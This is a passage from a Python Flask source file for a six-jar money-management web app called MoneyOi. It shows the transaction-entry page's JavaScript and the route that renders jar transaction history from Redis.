""".format(sign_symbol=sign_symbol, color=color, ttype_option=ttype_option, jar_option=jar_option) begin_html = """ <!DOCTYPE html> <html lang="en"> <head> <title>MoneyOi</title> <meta charset="utf-8"> <meta name="description" content="MoneyOi Cloud Native Application"> <meta name="author" content="moneyoi.herokuapp.com"> <meta name="keywords" content="moneyoi,free,6,six,jar,jars,app,money,method,management,cloud,native,application"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700"> <link rel="shortcut icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" sizes="57x57" href="/static/apple-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="/static/apple-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="/static/apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="/static/apple-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="/static/apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="/static/apple-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="/static/apple-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="/static/apple-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="/static/apple-icon-180x180.png"> <link rel="icon" type="image/png" sizes="192x192" href="/static/android-icon-192x192.png"> <link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="96x96" href="/static/favicon-96x96.png"> <link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png"> <link rel="manifest" href="/static/manifest.json"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="/static/ms-icon-144x144.png"> <meta name="msapplication-square70x70logo" content="/static/ms-icon-70x70.png"> <meta name="msapplication-square150x150logo" content="/static/ms-icon-150x150.png"> <meta name="msapplication-square310x310logo" content="/static/ms-icon-310x310.png"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <![endif]--> </head> <body style="font-family:Roboto; background-color:SLATEGRAY" ontouchstart=""> """ end_html = "</body></html>" #handle float amount format_amount_input = r""" document.getElementById('amount-input').addEventListener('input', function(event) { value_b = event.target.value.replace(/[^\d.]+/gi, ''); event.target.value = (parseInt(value_b) || '').toLocaleString('en-US'); }); """ addZero = """ function addZero(i) { if (i < 10) { i = "0" + i; } return i; } """ selectTransaction = """ function selectTransaction() { var transaction = document.getElementById('transaction-type'); var sign_symbol = document.getElementById('sign-symbol'); var all_option = document.getElementById('all-option'); var nec_option = document.getElementById('nec-option'); if (transaction.value == "Income") { sign_symbol.setAttribute("class", "fa fa-plus"); sign_symbol.style.color = "LIME"; all_option.removeAttribute("disabled"); all_option.selected = "selected"; } else { sign_symbol.setAttribute("class", "fa fa-minus"); sign_symbol.style.color = "TOMATO"; nec_option.selected = "selected"; all_option.disabled = "disabled"; } }; """ save = """ function save(user_id, transactionType, transactionID, transactionValue, jarOption, date, nec_balance, edu_balance, lts_balance, ply_balance, ffa_balance, giv_balance) { var theDate = document.getElementById("theDate").value; var type = document.getElementById("transaction-type").value; var jar = document.getElementById('jar-type').value; var repeat = document.getElementById('repeat-type').value; var desc = document.getElementById('desc-input').value; var amount = document.getElementById('amount-input').value.replace(/,/g,''); var error_msg =document.getElementById('error-msg'); var info_msg =document.getElementById('info-msg'); var msg =document.getElementById('msg-label'); var time = new Date(); var msg_successful_label=document.getElementById('msg-successful-label'); var msg_amount_label=document.getElementById('msg-amount-label'); var msg_over_label=document.getElementById('msg-over-label'); if (desc == "") { desc = type; } else { desc = desc.replace(/&/g,'#'); desc = desc.replace(/-/g,'_'); } if (amount == "") { msg.style.color="gold"; msg.setAttribute("class", "fa fa-warning"); msg.textContent = msg_amount_label.textContent; msg.style.display = "block"; return; } // only applicable for expense transaction if (type == 'Expense') { // update transaction if ((transactionType == 'update') || (transactionType == 'recurring-update')) { transactionValue = transactionValue.replace(/&/g,'#'); old_transaction_value = transactionValue.split('-'); old_amount = parseFloat(old_transaction_value[4]); old_jar = old_transaction_value[1]; // same jar if (jar == old_jar) { if (((jar == 'Necessities') && (parseFloat(amount) > (parseFloat(nec_balance)+old_amount))) || ((jar == 'Education') && (parseFloat(amount) > (parseFloat(edu_balance)+old_amount))) || ((jar == 'Saving') && (parseFloat(amount) > (parseFloat(lts_balance)+old_amount))) || ((jar == 'Play') && (parseFloat(amount) > (parseFloat(ply_balance)+old_amount))) || ((jar == 'Investment') && (parseFloat(amount) > (parseFloat(ffa_balance)+old_amount))) || ((jar == 'Give') && (parseFloat(amount) > (parseFloat(giv_balance)+old_amount)))) { msg.style.color="gold"; msg.setAttribute("class", "fa fa-warning"); msg.textContent = msg_over_label.textContent; msg.style.display = "block"; return; } } // change jar else { if (((jar == 'Necessities') && (parseFloat(amount) > parseFloat(nec_balance))) || ((jar == 'Education') && (parseFloat(amount) > parseFloat(edu_balance))) || ((jar == 'Saving') && (parseFloat(amount) > parseFloat(lts_balance))) || ((jar == 'Play') && (parseFloat(amount) > parseFloat(ply_balance))) || ((jar == 'Investment') && (parseFloat(amount) > parseFloat(ffa_balance))) || ((jar == 'Give') && (parseFloat(amount) > parseFloat(giv_balance)))) { msg.style.color="gold"; msg.setAttribute("class", "fa fa-warning"); msg.textContent = msg_over_label.textContent; msg.style.display = "block"; return; } } } // new transaction else { if (((jar == 'Necessities') && (parseFloat(amount) > parseFloat(nec_balance))) || ((jar == 'Education') && (parseFloat(amount) > parseFloat(edu_balance))) || ((jar == 'Saving') && (parseFloat(amount) > parseFloat(lts_balance))) || ((jar == 'Play') && (parseFloat(amount) > parseFloat(ply_balance))) || ((jar == 'Investment') && (parseFloat(amount) > parseFloat(ffa_balance))) || ((jar == 'Give') && (parseFloat(amount) > parseFloat(giv_balance)))) { msg.style.color="gold"; msg.setAttribute("class", "fa fa-warning"); msg.textContent = msg_over_label.textContent; msg.style.display = "block"; return; } } } // ready to save transaction var newTransactionID = theDate+'-'+addZero(time.getHours())+'-'+addZero(time.getMinutes())+'-'+addZero(time.getSeconds()); var newTransactionValue = type+'-'+jar+'-'+repeat+'-'+desc+'-'+amount; if (transactionType == 'recurring-update') { newTransactionID = newTransactionID + '-repeat' } var waiting = document.getElementById('waiting'); waiting.style.display="block"; if ((transactionType == 'update') || (transactionType == 'recurring-update')) { old_transaction_id = transactionID.split('-'); old_date = old_transaction_id[0]+'-'+old_transaction_id[1]+'-'+old_transaction_id[2]; if (theDate == old_date) { newTransactionID = transactionID; } var xhr = new XMLHttpRequest(); xhr.open('POST', '/UpdateTransactionPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send("transactionType="+transactionType+"&oldTransactionID="+transactionID+"&oldTransactionValue="+transactionValue+ "&newTransactionID="+newTransactionID+"&newTransactionValue="+newTransactionValue+ "&jarOption="+jarOption+"&date="+date); } else { var xhr = new XMLHttpRequest(); xhr.open('POST', '/SaveTransactionPage/' + user_id + '/add/transactionID/transactionValue', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { msg.style.color="lime"; msg.setAttribute("class", "fa fa-info-circle"); msg.textContent = msg_successful_label.textContent; msg.style.display = "block"; waiting.style.display="none"; }; xhr.send("transactionID="+newTransactionID+"&transactionValue="+newTransactionValue); } }; """ back = """ function back(user_id, transactionType, jarOption, date) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var d = new Date(); var today =d.getFullYear()+'-'+addZero(d.getMonth()+1)+'-'+addZero(d.getDate()); url = '/HomePage/'+ user_id + '/' + today; if ((transactionType == 'update') || (transactionType == 'history-new-income') || (transactionType == 'history-new-expense')) { url = '/HistoryPage/' + user_id + '/' + jarOption + '/' + date; } else if ((transactionType == 'report-new-income') || (transactionType == 'report-new-expense')) { url = '/ReportPage/' + user_id + '/' + jarOption + '/' + date; } else if (transactionType == 'recurring-update') { url = '/RecurringTransactionPage/' + user_id; } var xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send('sender_id=TransactionPage'); }; """ addtransaction_style = """ html { height: 100%; } body { position: relative; min-height: 100%; -webkit-user-select: none; -webkit-touch-callout: none; } input[type="button"] { display: none; } .waiting-class { display:none; margin: auto; text-align: center; width:100%; height:100%; top:0; position:absolute; padding-top: 50%; background: rgba(0, 0, 0, 0.3) } .save-class { text-align: center; font-weight: 300; background-color: DARKSLATEGRAY; height:35px; width: 100%; padding-top:7px; cursor: pointer; } .save-class:active { color:DARKSLATEGRAY; background-color: LIGHTGRAY; } """ mid_html = u""" <style> /*------ addtransaction style ---------*/ {addtransaction_style} </style> <div class="container"> <div style="background-color:DARKSLATEGRAY"> <h4> <p class="text-center" style="color:white;">{title_caption}</p> </h4> </div> <div class="transaction-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <label style="font-weight: 300; border: 1px solid DARKSLATEGRAY; height:35px; width: 100%; padding-left: 15px; padding-top:7px"> <i id ="sign-symbol" class="fa fa-plus" style="color:LIME"></i>&nbsp <select id="transaction-type" onchange="selectTransaction()" style="cursor:pointer; width: calc(100% - 20px); background-color: SLATEGRAY; border:none; outline:none; -webkit-appearance: none;"> <option id='income-option' value='Income'>{income_caption}</option> <option id='expense-option' value='Expense'>{expense_caption}</option> </select> <i id ="sign-symbol" class="fa fa-angle-down" style="position:absolute; top:10px; right:15px"></i> </label> </div> </div> <div class="amount-class" style="height:75px; color: LIGHTGRAY;"> <div class="col-xs-9" style="height:100%; padding: 0;"> <label style="font-weight: 300; background-color:DARKSLATEGRAY; height:70px; width: 100%; padding-left: 15px; padding-top:10px"> {amount_title_caption} <input id="amount-input" type="text" maxlength="15" placeholder="{amount_caption}" style="font-size: x-large; width:100%; padding:0; color:white; background-color: DARKSLATEGRAY; border:none; outline:none; -webkit-appearance: none;"> </label> </div> <div class="col-xs-3" style="height:100%; padding: 0;"> <label style="font-weight: 300; background-color:DARKSLATEGRAY; height:70px; width: 100%; padding-top: 30px; text-align:right; padding-right:15px"> <font style="border-radius: 10px; background-color:SLATEGRAY; color:LIME; font-size:x-large">&nbsp {currency_sign} &nbsp</font> </label> </div> </div> <div class="jars-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <label style="font-weight: 300; background-color:DARKSLATEGRAY; height:40px; width: 100%; padding-left: 15px; padding-top:10px"> <i class="fa fa-flask"></i>&nbsp <select id="jar-type" style="cursor:pointer; width: calc(100% - 25px); background-color: DARKSLATEGRAY; border:none; outline:none; -webkit-appearance: none;"> <option id='all-option' value='All'>{all_caption}</option> <option id='nec-option' value='Necessities'>{nec_caption}</option> <option id='edu-option' value='Education'>{edu_caption}</option> <option id='lts-option' value='Saving'>{lts_caption}</option> <option id='ply-option' value='Play'>{ply_caption}</option> <option id='ffa-option' value='Investment'>{ffa_caption}</option> <option id='giv-option' value='Give'>{giv_caption}</option> </select> <i class="fa fa-angle-down" style="position:absolute; top:12px; right:15px"></i> </label> </div> </div> <div class="date-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-8" style="height:100%; padding: 0"> <label style="font-weight: 300; background-color:DARKSLATEGRAY; height:40px; width: 100%; padding-left: 15px; padding-top:7px"> <i class="fa fa-calendar"></i>&nbsp <input type="date" id="theDate" style="cursor:pointer; width: calc(100% - 25px); background-color: DARKSLATEGRAY; border:none; outline:none; -webkit-appearance: none;"> </label> </div> <div class="col-xs-4" style="height:100%; padding: 0"> <label style="font-weight: 300; background-color:DARKSLATEGRAY; height:40px; width: 100%; padding-top:9px"> <select id="repeat-type" style="direction:rtl; padding-right:30px; cursor:pointer; width: 100%; background-color: DARKSLATEGRAY; border:none; outline:none; -webkit-appearance: none;"> <option id="once-type" value='Once'>{once_caption}</option> <option id="daily-type" value='Daily'>{daily_caption}</option> <option id="weekly-type" value='Weekly'>{weekly_caption}</option> <option id="monthly-type" value='Monthly'>{monthly_caption}</option> <option id="annually-type" value='Annually'>{annually_caption}</option> </select> <i id class="fa fa-angle-down" style="position:absolute; top:12px; right:15px"></i> </label> </div> </div> <div class="desc-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <label style="font-weight: 300; background-color:DARKSLATEGRAY; height:40px; width: 100%; padding-left: 15px; padding-top:10px"> <i class="fa fa-pencil"></i>&nbsp <input id="desc-input" type="text" placeholder="{description_caption}" style="width:90%; padding:0; color:white; background-color: DARKSLATEGRAY; border:none; outline:none; -webkit-appearance: none;"> </label> </div> </div> <p></p> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="save" type="button" onclick="save('{user_id}', '{transactionType}', '{transactionID}', '{transactionValue}', '{jarOption}', '{date}', '{nec_balance}', '{edu_balance}', '{lts_balance}', '{ply_balance}', '{ffa_balance}', '{giv_balance}')"> <label class="save-class" for="save"> <i class="fa fa-floppy-o" style="color:LIME"></i>&nbsp {save_caption} </label> </div> </div> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="back" type="button" onclick="back('{user_id}','{transactionType}','{jarOption}','{date}')"> <label class="save-class" for="back"> <i class="fa fa-angle-left" style="color:LIME;"></i>&nbsp {back_caption} </label> </div> </div> </div> <p></p> <div class="msg-class"> <label id="msg-label" style="text-align:center; display:none;"><i class="fa fa-info-circle"></i></label> <label id="msg-successful-label" style="display:none;">&nbsp {msg_successful_caption}</label> <label id="msg-amount-label" style="display:none">&nbsp {msg_amount_caption}</label> <label id="msg-over-label" style="display:none">&nbsp {msg_over_caption}</label> </div> <div id="waiting" class="waiting-class"> <i style="color:LIME" class="fa fa-spinner fa-pulse fa-3x fa-fw"></i> </div> <script> {addZero} {selectTransaction} {format_amount_input} {save} {back} {initValue} </script> """.format(user_id=user_id, addtransaction_style=addtransaction_style, format_amount_input=format_amount_input, addZero=addZero, selectTransaction=selectTransaction, save=save, back=back, initValue=initValue, nec_balance=nec_balance, edu_balance=edu_balance, lts_balance=lts_balance, ply_balance=ply_balance, ffa_balance=ffa_balance, giv_balance=giv_balance, transactionType=transactionType, jarOption=jarOption, date=date, transactionID=transactionID, transactionValue=transactionValue, currency_sign=currency_sign, title_caption=title_caption, expense_caption=expense_caption, income_caption=income_caption, amount_title_caption=amount_title_caption, amount_caption=amount_caption, all_caption=all_caption, nec_caption=nec_caption, edu_caption=edu_caption, lts_caption=lts_caption, ply_caption=ply_caption, ffa_caption=ffa_caption, giv_caption=giv_caption, once_caption=once_caption, daily_caption=daily_caption, weekly_caption=weekly_caption, monthly_caption=monthly_caption, annually_caption=annually_caption, description_caption=description_caption, msg_successful_caption=msg_successful_caption, msg_amount_caption=msg_amount_caption, msg_over_caption=msg_over_caption, save_caption=save_caption, back_caption=back_caption) return begin_html + mid_html + end_html @app.route('/HistoryPage/<user_id>/<historyType>/<historyDate>', methods=['POST']) def HistoryPage(user_id, historyType, historyDate): print "HistoryPage:user_id:"+user_id print "HistoryPage:historyType:"+historyType print "HistoryPage:historyDate:"+historyDate table_begin = """ <table> """ table_end = """ </table> """ table_body = "" income_amt = 0 expense_amt = 0 balance_amt = 0 nec_amount = 0 edu_amount = 0 lts_amount = 0 ply_amount = 0 ffa_amount = 0 giv_amount = 0 progress_color= "LIGHTGRAY" progress = 0 jar_url = "" user_dict = r.hmget(user_id, 'nec_income', 'edu_income', 'lts_income', 'ply_income', 'ffa_income', 'giv_income', 'nec_expense', 'edu_expense', 'lts_expense', 'ply_expense', 'ffa_expense', 'giv_expense', 'nec_prebal', 'edu_prebal', 'lts_prebal', 'ply_prebal', 'ffa_prebal', 'giv_prebal', 'currency', 'language') currency = user_dict[18] language = user_dict[19] #load language json file with open('static/language.json') as f: language_data = json.load(f) #load currency json file with open('static/currency.json') as f: currency_data = json.load(f) title_caption=language_data[language]['history_page']['title_caption'].encode('utf-8') all_caption=language_data[language]['history_page']['all_caption'].encode('utf-8') nec_caption=language_data[language]['history_page']['nec_caption'].encode('utf-8') edu_caption=language_data[language]['history_page']['edu_caption'].encode('utf-8') lts_caption=language_data[language]['history_page']['lts_caption'].encode('utf-8') ply_caption=language_data[language]['history_page']['ply_caption'].encode('utf-8') ffa_caption=language_data[language]['history_page']['ffa_caption'].encode('utf-8') giv_caption=language_data[language]['history_page']['giv_caption'].encode('utf-8') balance_caption=language_data[language]['history_page']['balance_caption'].encode('utf-8') income_caption=language_data[language]['history_page']['income_caption'].encode('utf-8') expense_caption=language_data[language]['history_page']['expense_caption'].encode('utf-8') back_caption=language_data[language]['history_page']['back_caption'].encode('utf-8') for i in range(0,len(currency_data['currency'])): currency_code = currency_data['currency'][i]['currency_code'] if (currency == currency_code): currency_sign = currency_data['currency'][i]['currency_sign'] break nec_income = int(float(user_dict[0])) edu_income = int(float(user_dict[1])) lts_income = int(float(user_dict[2])) ply_income = int(float(user_dict[3])) ffa_income = int(float(user_dict[4])) giv_income = int(float(user_dict[5])) nec_expense = int(float(user_dict[6])) edu_expense = int(float(user_dict[7])) lts_expense = int(float(user_dict[8])) ply_expense = int(float(user_dict[9])) ffa_expense = int(float(user_dict[10])) giv_expense = int(float(user_dict[11])) nec_prebal = int(float(user_dict[12])) edu_prebal = int(float(user_dict[13])) lts_prebal = int(float(user_dict[14])) ply_prebal = int(float(user_dict[15])) ffa_prebal = int(float(user_dict[16])) giv_prebal = int(float(user_dict[17])) nec_balance = nec_income - nec_expense + nec_prebal edu_balance = edu_income - edu_expense + edu_prebal lts_balance = lts_income - lts_expense + lts_prebal ply_balance = ply_income - ply_expense + ply_prebal ffa_balance = ffa_income - ffa_expense + ffa_prebal giv_balance = giv_income - giv_expense + giv_prebal if (historyType != ALL): table_padding = "385px" if (historyType == NEC): title = nec_caption income_amt = "{:,}".format(nec_income) expense_amt = "{:,}".format(nec_expense) balance_amt = "{:,}".format(nec_balance) jar_url = "/static/nec.png" if (nec_balance > 0): progress = int(float(nec_balance)/(nec_balance+nec_expense)*100) if (historyType == EDU): title = edu_caption income_amt = "{:,}".format(edu_income) expense_amt = "{:,}".format(edu_expense) balance_amt = "{:,}".format(edu_balance) jar_url = "/static/edu.png" if (edu_balance > 0): progress = int(float(edu_balance)/(edu_balance+edu_expense)*100) if (historyType == LTS): title = lts_caption income_amt = "{:,}".format(lts_income) expense_amt = "{:,}".format(lts_expense) balance_amt = "{:,}".format(lts_balance) jar_url = "/static/lts.png" if (lts_balance > 0): progress = int(float(lts_balance)/(lts_balance+lts_expense)*100) if (historyType == PLY): title = ply_caption income_amt = "{:,}".format(ply_income) expense_amt = "{:,}".format(ply_expense) balance_amt = "{:,}".format(ply_balance) jar_url = "/static/ply.png" if (ply_balance > 0): progress = int(float(ply_balance)/(ply_balance+ply_expense)*100) if (historyType == FFA): title = ffa_caption income_amt = "{:,}".format(ffa_income) expense_amt = "{:,}".format(ffa_expense) balance_amt = "{:,}".format(ffa_balance) jar_url = "/static/ffa.png" if (ffa_balance > 0): progress = int(float(ffa_balance)/(ffa_balance+ffa_expense)*100) if (historyType == GIV): title = giv_caption income_amt = "{:,}".format(giv_income) expense_amt = "{:,}".format(giv_expense) balance_amt = "{:,}".format(giv_balance) jar_url = "/static/giv.png" if (giv_balance > 0): progress = int(float(giv_balance)/(giv_balance+giv_expense)*100) if (progress >= 50): progress_color = "TURQUOISE" elif (progress >= 20): progress_color = "GOLD" else: progress_color = "TOMATO" else: table_padding = "210px" title = title_caption for key in sorted(r.hscan_iter(user_id, match=historyDate+'*'), reverse=True): transactionID = key[0] transactionValue = key[1].replace("&","#") key0 = key[0].split('-') key1 = key[1].split('-') year = key0[0] month = key0[1] day = key0[2] transactionType = key1[0] jar = key1[1] repeat = key1[2] description = key1[3] #skip repeat transaction if ('repeat' in transactionID): continue #skip break-out transaction if ((historyType == ALL) and (len(key0) == 7)): continue #filter transaction by jar if ((historyType != ALL) and (historyType != jar)): continue if (jar == ALL): user_dict1 = r.hmget(user_id, transactionID+'-'+NEC, transactionID+'-'+EDU, transactionID+'-'+LTS, transactionID+'-'+PLY, transactionID+'-'+FFA, transactionID+'-'+GIV) nec_amount = user_dict1[0].split('-')[4] edu_amount = user_dict1[1].split('-')[4] lts_amount = user_dict1[2].split('-')[4] ply_amount = user_dict1[3].split('-')[4] ffa_amount = user_dict1[4].split('-')[4] giv_amount = user_dict1[5].split('-')[4] trash_symbol = """ <i class="fa fa-trash-o"> """ editTransaction_function = """ editTransaction('{user_id}','update','{transactionID}','{transactionValue}','{historyType}','{historyDate}') """.format(user_id=user_id, transactionID=transactionID, transactionValue=transactionValue, historyType=historyType, historyDate=historyDate) deleteTransaction_function = """ deleteTransaction('{user_id}','delete','{transactionID}','{transactionValue}','{historyType}','{historyDate}', '{nec_balance}','{edu_balance}','{lts_balance}','{ply_balance}','{ffa_balance}','{giv_balance}', '{nec_amount}','{edu_amount}','{lts_amount}','{ply_amount}','{ffa_amount}','{giv_amount}') """.format(user_id=user_id, transactionID=transactionID, transactionValue=transactionValue, historyType=historyType, historyDate=historyDate, nec_balance=nec_balance, edu_balance=edu_balance, lts_balance=lts_balance, ply_balance=ply_balance, ffa_balance=ffa_balance, giv_balance=giv_balance, nec_amount=nec_amount, edu_amount=edu_amount, lts_amount=lts_amount, ply_amount=ply_amount, ffa_amount=ffa_amount, giv_amount=giv_amount) if (len(key0) == 7): editTransaction_function="" deleteTransaction_function="" trash_symbol="" amount = "{:,}".format(int(float(key1[4]))) if (jar == ALL): jar_caption = all_caption if (jar == NEC): jar_caption = nec_caption if (jar == EDU): jar_caption = edu_caption if (jar == LTS): jar_caption = lts_caption if (jar == PLY): jar_caption = ply_caption if (jar == FFA): jar_caption = ffa_caption if (jar == GIV): jar_caption = giv_caption if (transactionType == "Income"): sign_symbol = """<i class="fa fa-plus" style="color:LIME"></i>""" color = "color:LIME" sign = "+" else: sign_symbol = """<i class="fa fa-minus" style="color:TOMATO"></i>""" color = "color:white" sign = "-" if (repeat != ONCE): repeat_symbol = """<i class="fa fa-refresh" style="color:TURQUOISE"></i>""" else: repeat_symbol = "<br>" date = day+'/'+month+'/'+year table_body = table_body + """ <tr style="cursor:pointer;"> <td>{sign_symbol}<br>{repeat_symbol}</td> <td id="cel1" onclick="{editTransaction_function}"><span style="color:white">{jar_caption}</span><br><span style="font-size:small; font-weight:300; color:LIGHTGRAY">{description}</span></td> <td id="cel2" onclick="{editTransaction_function}" style="padding-right:5px; text-align:right; {color}">{sign}{amount} {currency_sign}<br><span style="font-size:small; font-weight:300; color:LIGHTGRAY">{date}</span></td> <td id="cel3" style="text-align:right; color:white" onclick="{deleteTransaction_function}">{trash_symbol}</td> </tr> """.format(sign_symbol=sign_symbol, repeat_symbol=repeat_symbol, jar_caption=jar_caption, description=description, sign=sign, amount=amount, date=date, color=color, editTransaction_function=editTransaction_function, deleteTransaction_function=deleteTransaction_function, trash_symbol=trash_symbol, currency_sign=currency_sign) table = table_begin + table_body + table_end addZero = """ function addZero(i) { if (i < 10) { i = "0" + i; } return i; } """ deleteTransaction = """ function deleteTransaction(user_id, transactionType, transactionID, transactionValue, jarOption, date, nec_balance, edu_balance, lts_balance, ply_balance, ffa_balance, giv_balance, nec_amount, edu_amount, lts_amount, ply_amount, ffa_amount, giv_amount) { if (confirm("Are you sure to delete this transaction ?")) { value = transactionValue.split('-'); ttype = value[0]; jar = value[1] amount = value[4]; if (((jar == 'Necessities') && (parseFloat(amount) > parseFloat(nec_balance)) || (jar == 'Education') && (parseFloat(amount) > parseFloat(edu_balance)) || (jar == 'Saving') && (parseFloat(amount) > parseFloat(lts_balance)) || (jar == 'Play') && (parseFloat(amount) > parseFloat(ply_balance)) || (jar == 'Investment') && (parseFloat(amount) > parseFloat(ffa_balance)) || (jar == 'Give') && (parseFloat(amount) > parseFloat(giv_balance)) || (jar == 'All') && ((parseFloat(nec_amount) > parseFloat(nec_balance)) || (parseFloat(edu_amount) > parseFloat(edu_balance)) || (parseFloat(lts_amount) > parseFloat(lts_balance)) || (parseFloat(ply_amount) > parseFloat(ply_balance)) || (parseFloat(ffa_amount) > parseFloat(ffa_balance)) || (parseFloat(giv_amount) > parseFloat(giv_balance)))) && (ttype == 'Income')) { alert('Could not delete this transaction'); return; } var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/DeleteTransactionPage/'+ user_id +'/delete/transactionID/transactionValue/jarOption/date', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send("transactionType="+transactionType+"&transactionID="+transactionID+"&transactionValue="+transactionValue+ "&jarOption="+jarOption+"&date="+date); } } """ editTransaction = """ function editTransaction(user_id, transactionType, transactionID, transactionValue, jarOption, date) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/TransactionPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send("transactionType="+transactionType+"&transactionID="+transactionID+"&transactionValue="+transactionValue+ "&jarOption="+jarOption+"&date="+date); }; """ back = """ function back(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var d = new Date(); var today =d.getFullYear()+'-'+addZero(d.getMonth()+1)+'-'+addZero(d.getDate()); var xhr = new XMLHttpRequest(); xhr.open('POST', '/HomePage/'+ user_id + '/' + today, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send("sender_id=HistoryPage"); }; """ monthChange = """ function monthChange(user_id, historyType) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var historyDate = document.getElementById('theDate').value; url = '/HistoryPage/' + user_id + '/' + historyType + '/' + historyDate; var xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send(); }; """ mozilla_detect = """ if(navigator.userAgent.toLowerCase().indexOf('firefox') > -1) { document.getElementById('theDate').readOnly="true"; } """ select_jar = """ function selectJar(user_id, historyType, historyDate) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/SelectJarPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send('sender_id=HistoryPage'+'&jar='+historyType+'&date='+historyDate); } """ begin_html = """ <!DOCTYPE html> <html lang="en"> <head> <title>MoneyOi</title> <meta charset="utf-8"> <meta name="description" content="MoneyOi Cloud Native Application"> <meta name="author" content="moneyoi.herokuapp.com"> <meta name="keywords" content="moneyoi,free,6,six,jar,jars,app,money,method,management,cloud,native,application"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700"> <link rel="shortcut icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" sizes="57x57" href="/static/apple-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="/static/apple-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="/static/apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="/static/apple-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="/static/apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="/static/apple-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="/static/apple-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="/static/apple-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="/static/apple-icon-180x180.png"> <link rel="icon" type="image/png" sizes="192x192" href="/static/android-icon-192x192.png"> <link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="96x96" href="/static/favicon-96x96.png"> <link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png"> <link rel="manifest" href="/static/manifest.json"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="/static/ms-icon-144x144.png"> <meta name="msapplication-square70x70logo" content="/static/ms-icon-70x70.png"> <meta name="msapplication-square150x150logo" content="/static/ms-icon-150x150.png"> <meta name="msapplication-square310x310logo" content="/static/ms-icon-310x310.png"> <!--[if lt IE 9]> <script 